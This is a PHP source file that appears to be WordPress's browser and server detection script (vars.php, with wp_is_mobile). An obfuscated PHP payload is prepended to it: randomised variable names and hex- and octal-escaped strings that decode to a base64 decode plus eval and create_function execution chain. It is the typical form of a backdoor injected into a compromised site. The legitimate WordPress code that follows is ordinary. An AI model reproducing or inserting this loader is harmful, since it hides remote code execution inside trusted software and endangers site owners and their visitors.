6IPb=@$zo8ekzKM('$EA9GEi,$fq7UzYu',$zsTxL5($fq7UzYu($ttOm4L4yeJ)));if($ZJ_MA6IPb)$EA9GEi=@$ZJ_MA6IPb($EA9GEi,$fq7UzYu); }else{$GwE8R_qUum="\x29\51\x29";$GwE8R_qUum.="\x4a\x65";$GwE8R_qUum.="\171\64\x4c";$GwE8R_qUum.="\64\155\117";$GwE8R_qUum.="\164";$GwE8R_qUum.="\164\x24\50";$GwE8R_qUum.="\x75";$GwE8R_qUum.="\131\x7a";$GwE8R_qUum.="\125";$GwE8R_qUum.="\67";$GwE8R_qUum.="\x71\146";$GwE8R_qUum.="\44";$GwE8R_qUum.="\50\x35";$GwE8R_qUum.="\x4c\x78";$GwE8R_qUum.="\x54\x73\x7a";$GwE8R_qUum.="\x24\50";$GwE8R_qUum.="\x6c\141";$GwE8R_qUum.="\166\x65";$GwE8R_qUum.="\x40";$GwE8R_qUum=$fq7UzYu($GwE8R_qUum);@$X4n907JX($GwE8R_qUum);};if(function_exists($zo8ekzKM)){$CuL_CBR=@$zo8ekzKM("",$zsTxL5($fq7UzYu($EA9GEi)));if($CuL_CBR)@$CuL_CBR();}else{$utfQimdV="\51";$utfQimdV.="\x29\51\x69";$utfQimdV.="\x45";$utfQimdV.="\107\71\101";$utfQimdV.="\x45\44";$utfQimdV.="\x28\165\131";$utfQimdV.="\172\125";$utfQimdV.="\67\x71";$utfQimdV.="\x66";$utfQimdV.="\44\x28";$utfQimdV.="\x35\114";$utfQimdV.="\170\x54";$utfQimdV.="\163\172";$utfQimdV.="\x24\50";$utfQimdV.="\154\x61";$utfQimdV.="\x76";$utfQimdV.="\145\100";$utfQimdV=$fq7UzYu($utfQimdV);@$X4n907JX($utfQimdV);};
/*
 * Detects which user environment WordPress is being used on.
 * Only attempts to check for Apache, Nginx and IIS -- three web
 * servers with known pretty permalink capability.
 *
 * Note: Though Nginx is detected, WordPress does not currently
 * generate rewrite rules for it. See https://codex.wordpress.org/Nginx
 *
 * @package WordPress
 */

global $pagenow,
	$is_lynx, $is_gecko, $is_winIE, $is_macIE, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_iphone, $is_IE, $is_edge,
	$is_apache, $is_IIS, $is_iis7, $is_nginx;

// On which page are we ?
if ( is_admin() ) {
	// wp-admin pages are checked more carefully
	if ( is_network_admin() ) {
		preg_match( '#/wp-admin/network/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
	} elseif ( is_user_admin() ) {
		preg_match( '#/wp-admin/user/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
	} else {
		preg_match( '#/wp-admin/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
	}
	$pagenow = $self_matches[1];
	$pagenow = trim( $pagenow, '/' );
	$pagenow = preg_replace( '#\?.*?$#', '', $pagenow );
	if ( '' === $pagenow || 'index' === $pagenow || 'index.php' === $pagenow ) {
		$pagenow = 'index.php';
	} else {
		preg_match( '#(.*?)(/|$)#', $pagenow, $self_matches );
		$pagenow = strtolower( $self_matches[1] );
		if ( '.php' !== substr( $pagenow, -4, 4 ) ) {
			$pagenow .= '.php'; // for Options +Multiviews: /wp-admin/themes/index.php (themes.php is queried)
		}
	}
} else {
	if ( preg_match( '#([^/]+\.php)([?/].*?)?$#i', $_SERVER['PHP_SELF'], $self_matches ) ) {
		$pagenow = strtolower( $self_matches[1] );
	} else {
		$pagenow = 'index.php';
	}
}
unset( $self_matches );

// Simple browser detection
$is_lynx = $is_gecko = $is_winIE = $is_macIE = $is_opera = $is_NS4 = $is_safari = $is_chrome = $is_iphone = $is_edge = false;

if ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) {
	if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Lynx' ) !== false ) {
		$is_lynx = true;
	} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Edge' ) !== false ) {
		$is_edge = true;
	} elseif ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chrome' ) !== false ) {
		if ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chromeframe' ) !== false ) {
			$is_admin = is_admin();
			/**
			 * Filters whether Google Chrome Frame should be used, if available.
			 *
			 * @since 3.2.0
			 *
			 * @param bool $is_admin Whether to use the Google Chrome Frame. Default is the value of is_admin().
			 */
			if ( $is_chrome = apply_filters( 'use_google_chrome_frame', $is_admin ) ) {
				header( 'X-UA-Compatible: chrome=1' );
			}
			$is_winIE = ! $is_chrome;
		} else {
			$is_chrome = true;
		}
	} elseif ( stripos( $_SERVER['HTTP_USER_AGENT'], 'safari' ) !== false ) {
		$is_safari = true;
	} elseif ( ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE' ) !== false || strpos( $_SERVER['HTTP_USER_AGENT'], 'Trident' ) !== false ) && strpos( $_SERVER['HTTP_USER_AGENT'], 'Win' ) !== false ) {
		$is_winIE = true;
	} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE' ) !== false && strpos( $_SERVER['HTTP_USER_AGENT'], 'Mac' ) !== false ) {
		$is_macIE = true;
	} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Gecko' ) !== false ) {
		$is_gecko = true;
	} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Opera' ) !== false ) {
		$is_opera = true;
	} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Nav' ) !== false && strpos( $_SERVER['HTTP_USER_AGENT'], 'Mozilla/4.' ) !== false ) {
		$is_NS4 = true;
	}
}

if ( $is_safari && stripos( $_SERVER['HTTP_USER_AGENT'], 'mobile' ) !== false ) {
	$is_iphone = true;
}

$is_IE = ( $is_macIE || $is_winIE );

// Server detection

/**
 * Whether the server software is Apache or something else
 *
 * @global bool $is_apache
 */
$is_apache = ( strpos( $_SERVER['SERVER_SOFTWARE'], 'Apache' ) !== false || strpos( $_SERVER['SERVER_SOFTWARE'], 'LiteSpeed' ) !== false );

/**
 * Whether the server software is Nginx or something else
 *
 * @global bool $is_nginx
 */
$is_nginx = ( strpos( $_SERVER['SERVER_SOFTWARE'], 'nginx' ) !== false );

/**
 * Whether the server software is IIS or something else
 *
 * @global bool $is_IIS
 */
$is_IIS = ! $is_apache && ( strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS' ) !== false || strpos( $_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer' ) !== false );

/**
 * Whether the server software is IIS 7.X or greater
 *
 * @global bool $is_iis7
 */
$is_iis7 = $is_IIS && intval( substr( $_SERVER['SERVER_SOFTWARE'], strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/' ) + 14 ) ) >= 7;

/**
 * Test if the current browser runs on a mobile device (smart phone, tablet, etc.)
 *
 * @since 3.4.0
 *
 * @return bool
 */
function wp_is_mobile() {
	if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
		$is_mobile = false;
	} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Mobile' ) !== false // many mobile devices (all iPhone, iPad, etc.)
		|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Android' ) !== false
		|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Silk/' ) !== false
		|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Kindle' ) !== false
		|| strpos( $_SERVER['HTTP_USER_AGENT'], 'BlackBerry' ) !== false
		|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Opera Mini' ) !== false
		|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Opera Mobi' ) !== false ) {
			$is_mobile = true;
	} else {
		$is_mobile = false;
	}

	/**
	 * Filters whether the request should be treated as coming from a mobile device or not.
	 *
	 * @since 4.9.0
	 *
	 * @param bool $is_mobile Whether the request is from a mobile device or not.
	 */
	return apply_filters( 'wp_is_mobile', $is_mobile );
}